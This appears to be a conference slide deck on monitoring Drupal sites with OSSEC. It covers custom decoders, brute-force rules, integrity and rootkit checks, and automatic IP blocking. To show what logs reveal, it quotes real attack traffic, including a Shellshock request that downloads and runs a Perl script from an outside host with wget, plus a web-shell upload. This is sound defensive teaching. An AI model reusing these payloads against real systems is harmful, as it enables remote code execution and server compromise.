ossec - mig5 system administration · ossec intrusion detection and response! system and log...

OSSECIntrusion detection and response

System and log analysis of Drupal sites and servers

Accidental surprises…November 2012

!!33.44.55.66 - - [04/Nov/2012:05:48:59 +1100] "POST http://www.example.com/?q=fckeditor%2Fxss HTTP/1.1" 404 32956 "-" "-"!33.44.55.66 - - [04/Nov/2012:05:49:01 +1100] "POST http://www.example.com/?q=ckeditor%2Fxss HTTP/1.1" 200 0 "-" "-"!33.44.55.66 - - [04/Nov/2012:05:49:04 +1100] "GET http://www.example.com/sites/default/files/wtm5439n.php HTTP/1.1" 200 109 "-" "-"!33.44.55.66 - - [04/Nov/2012:06:27:25 +1100] "POST http://www.example.com/sites/default/files/wtm5439n.php?cookies=1&showimg=1&truecss=1&t2122n=1 HTTP/1.1"…!!!!

‘C99 (R57) shell’ (PHP-based Backdoor) !

CKeditor: arbitrary code exec (SA-CONTRIB-2012-040) Core served .php files from ‘files’ dir (SA-CORE-2013-003)

Last month’s doozie

/var/log/syslog !Oct 20 19:58:18 example drupal: https://www.example.com|1413831498|php|11.22.33.44|https://www.example.com/user||0||Warning: addcslashes() expects parameter 1 to be string, array given in DatabaseConnection->escapeLike() (line 984 of /var/www/drupal/www/includes/database/database.inc)!!!

!https://www.drupal.org/SA-CORE-2014-005

Shellshock

/var/log/nginx/access.log !!81.145.204.4 - - [18/Oct/2014:16:50:22 +0100] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 3652 "() { :;}; /bin/bash -c \x5Cx22cd /tmp;wget  http://74.52.27.243/lifesux.txt;perl /tmp/lifesux.txt;rm -rf /tmp/lifesux.txt\x5Cx22" "() { :;}; /bin/bash -c \x5Cx22cd /tmp;wget http://74.52.27.243/lifesux.txt;perl /tmp/lifesux.txt;rm -rf  lifesux.txt\x5Cx22"

What’s in logs?

/var/log/apache2 • crawlers hunting for holes

• brute-forcing /user/password, /user/register

• error 500, 504 (gateway timeouts, slow PHP?)

What’s in logs?

/var/log/syslog (Drupal!) • brute forcing (in more detail)

• exceptions, permissions problems

• crashes, panics, timeouts

• external service drama: Mollom, Payment GW

What’s in logs?

/var/log/auth.log

• SSH, user/group modifications

• sudo vi /srv/drupal/includes/bootstrap.inc :(

Risk != Intrusion

• Bad practice (‘sudo chown -R 777..)

• Human error

• Dependant services (third parties)

• Packages installed or removed (/var/log/apt/history.log)

…all has impact, all in the logs!

ISO27001

Security is not just about intrusions

!

Security is anything that could compromise

availability, integrity, confidence, trust,

reputation, money…

What to do about it?

Enter

!

http://www.ossec.net

OSSEC model

• Server->agent mode (central config, active response propagates)

• Local mode (standalone)

• Hybrid mode (multi-tier, complex topography)

4 main features

• Log analysis (What’s happening now that’s being logged?)

• Syscheck (integrity checking - what happened that left traces?)

• Rootcheck (rootkit detection)

• Active Response (what to do about it?)

Log AnalysisWhat’s happening?

Decoders How to interpret logs

(regex patterns to split up timestamps, IPs, messages)

Rules Match decoded message against known issues

Grade them by severity

Log Analysis

Out of the box examples:

• SSH (bruteforcing, ‘first time user logged in’)

• ‘First time user executed sudo’

• SMTP (spam relay attempts, SASL bruteforcing)

• Apache/Nginx issues (40Xs, 50Xs)

• Wordpress/Joomla brute-forcing - no Drupal :(

Log Analysis!

Drupal watchdog custom decoder (Syslog module)

<decoder name="drupal">!

! ! ! ! ! <program_name>^drupal</program_name>!

! ! ! ! ! <prematch>\d+.\d+.\d+.\d \S+|\d+|\w+|</prematch>!

! ! ! ! ! <regex offset="after_prematch">(\d+.\d+.\d+.\d+)\|(\.+)\|\.*\|\d+\|\.*\|(\.+)</regex>!

! ! ! ! ! <order>srcip,url,data</order>!

! ! ! ! </decoder>!

http://www.madirish.net/428 

Log Analysis

Example Drupal rules 1/3

<rule id="104110" level="3">!

! <decoded_as>drupal</decoded_as> " " <!— Use drupal decoder for this message —>"

! <match>Drupal</match>!

! <description>Drupal syslog message</description>!

</rule>

Log Analysis

Example Drupal rules 2/3

<rule id="104120" level="6">!

! <if_sid>104110</if_sid>! " " " <!— If this was a Drupal log message —>!

! <match>Login attempt failed</match>" " <!— And the message contained ‘Login attempt failed’ —>!

! <description>Drupal failed login!</description>!

</rule>

Log Analysis

Example Drupal rules 3/3

<rule id="104130" level="10" frequency="4" timeframe=“360"> <!— Happened too many times too quickly —>!

! <if_matched_sid>104120</if_matched_sid> ! ! <!— Parent Drupal rule: ‘Login attempt failed’ —>!

! <description>Possible Drupal brute force attack </description>!

! <description>(high number of logins).</description>!

</rule>

Log Analysis

Bingo! OSSEC HIDS Notification.!2014 Jun 23 18:11:38!!Received From: (example) 11.22.33.44->/var/log/messages!Rule: 104130 fired (level 10) -> "Possible Drupal brute force attack (high number of logins)."!Portion of the log(s):!!Jun 23 18:11:38 example drupal: http://www.example.com|1403511098|user|185.17.27.182|http://www.example.com/index.php?q=user/login|http://www.example.com/index.php?q=user/login|0||Login attempt failed for wembleylman10.!Jun 23 18:11:36 example drupal: http://www.example.com|1403511096|user|185.17.27.182|http://www.example.com/index.php?q=user/login|http://www.example.com/index.php?q=user/login|0||Login attempt failed for wembleylman10.!Jun 23 18:09:12 example drupal: http://www.example.com|1403510952|user|185.17.27.182|http://www.example.com/content/welcome?destination=node/4|http://www.example.com/node/add/submission|0||Login attempt failed for arreveMof.!Jun 23 18:09:12 example drupal: http://www.example.com|1403510952|user|185.17.27.182|http://www.example.com/content/welcome?destination=node/4|http://www.example.com/node/add/submission|0||Login attempt failed for arreveMof.!Jun 23 18:09:09 example drupal: http://www.example.com|1403510949|user|185.17.27.182|http://www.example.com/content/welcome?destination=node/4|http://www.example.com/node/add/submission|0||Login attempt failed for abralfultifug.!Jun 23 18:09:09 example drupal: http://www.example.com|1403510949|user|185.17.27.182|http://www.example.com/content/welcome?destination=node/4|http://www.example.com/node/add/submission|0||Login attempt failed for abralfultifug.!!--END OF NOTIFICATION

Log Analysis

Resource problems? (bottleneck/memory leak?) !OSSEC HIDS Notification.!2014 May 07 14:49:44!!Received From: (example) 11.22.33.44->/var/log/syslog!Rule: 1002 fired (level 2) -> "Unknown problem somewhere in the system."!Portion of the log(s):!!May  7 14:49:43 example drupal: http://www.example.com|1399470583|php|55.66.77.88|http://www.example.com/user/68/edit|http://www.example.com/user/68/edit|25||PDOException: SQLSTATE[HY000]: General error: 1205 Lock wait timeout exceeded; try restarting transaction: DELETE FROM {XXXXXXXXX} #012WHERE  (uid = :db_condition_placeholder_0) AND (subid = :db_condition_placeholder_1) ; Array#012(#012    [:db_condition_placeholder_0] =&gt; 68148#012    [:db_condition_placeholder_1] =&gt; 77217#012)#012 in XXXXXXX_update::delete() (line 652 of /var/www/drupal/www/sites/all/modules/custom/XXXXXX/XXXXX.inc).!!--END OF NOTIFICATION!!—————————————————————————————————————————————————————————————-!!OSSEC HIDS Notification.!2014 Jun 14 15:17:02!!Received From: (example) 11.22.33.44->/var/log/messages!Rule: 1002 fired (level 2) -> "Unknown problem somewhere in the system."!Portion of the log(s):!!Jun 14 15:17:02 example ool www: PHP Fatal error:  Allowed memory size of 268435456 bytes exhausted (tried to allocate 64 bytes) in /var/www/drupal/www/sites/all/modules/contrib/views/modules/field/views_handler_field_field.inc on line 674!!--END OF NOTIFICATION

Syscheck

• Detects when files have changed (checksums)

• lots of false positives due to software patching 2014 Jul 01 04:01:03!!Received From: (example) 11.22.33.44->syscheck!Rule: 550 fired (level 7) -> "Integrity checksum changed."!Portion of the log(s):!!Integrity checksum changed for: '/usr/bin/ssh'" " " " " " << hopefully that’s legit because you recently patched OpenSSH..!!Size changed from '434024' to '641640'!Old md5sum was: '50226273f654d7a2d7b38a0b0c09def4'!New md5sum is : 'a8bf35316eb4f46e377a957ecb6cfdca'!Old sha1sum was: '976af6f53338a7e9d4eb71617a2a8471aeb6937b'!New sha1sum is : 'e871e0a907cdfb76c6e0722a6196b0c9f8edb1fd'!!!!--END OF NOTIFICATION

what’s changed?

Rootcheck

• rkhunter is great, but get a 2nd opinion

• Hopefully more false positives than not!

OSSEC HIDS Notification.!2012 Nov 20 23:37:22!!Received From: (example) 11.22.33.44->rootcheck!Rule: 510 fired (level 7) -> "Host-based anomaly detection event (rootcheck)."!Portion of the log(s):!!Anomaly detected in file '/tmp/#sql_1020_0.MYI'. Hidden from stats, but showing up on readdir. Possible kernel level rootkit."!--END OF NOTIFICATION

Rootcheck

Gah!! !

OSSEC HIDS Notification.!2012 Nov 12 09:36:16!!Received From: example->rootcheck!Rule: 510 fired (level 7) -> "Host-based anomaly detection event (rootcheck)."!Portion of the log(s):!!File ‘/var/www/sites/default/settings.php’ is owned by root and has written permissions to anyone."!!!--END OF NOTIFICATION

Active Response

!OSSEC HIDS Notification.!2014 Jun 28 21:36:54!!Received From: (example) 11.22.33.44->/var/log/nginx/access.log!Rule: 31151 fired (level 10) -> "Multiple web server 400 error codes from same source ip."!Portion of the log(s):!!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpMyAdmin-2.11.1-all-languages/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpMyAdmin-2.11.0.0/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpMyAdmin-2.10.2.0/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpMyAdmin-2.10.1.0/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpMyAdmin-2.10.0/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpMyAdmin-2.10.0.2/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpMyAdmin-2.10.0.1/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpMyAdmin-2.10.0.0/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:58 +0100] "GET //php/phpmyadmin/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:58 +0100] "GET //forum/phpmyadmin/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:58 +0100] "GET //cpphpmyadmin/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!!--END OF NOTIFICATION

OK, now what?

Active Response

firewall-drop.sh

most common response

but can be anything you want

‘null route’ alternative exists for systems behind NAT

(where public IP blocking is useless)

Active Response

When using server->agent model:

One agent detectsEvery agent blocks

(immediately)!

Can employ ‘repeat offender’ punishment

Active Response

Drupal behind loadbalancers/Varnish?

Make sure you have IPs logging correctly!

!

• Nginx/Apache to log X-Forwarded-For as client IP

• $conf[‘reverse_proxy’]$conf[‘reverse_proxy_addresses’]

Email sucks

Good for notifications. Crap to look at. (ELK demo time)

ELK: much nicer

(demo time)

Mig’s tips

• Filter out the noise to avoid ‘monitoring fatigue’

…tune, don’t ignore rule 1002 (‘Unknown Problem’)

• Whitelist all your IPs: don’t lock yourself out!

• OSSEC is not perfect: add ‘defense in depth’ (NIDs, Cloudflare WAF, rkhunter, ClamAV)

Resources

These slides https://mig5.net/files/ossec-lite.pdf

Website http://www.ossec.net

Monitoring Drupal with OSSEC http://www.madirish.net/428

My quick-start install script http://is.gd/ossec_install Longer version of this talk http://is.gd/ossec_mig5_talk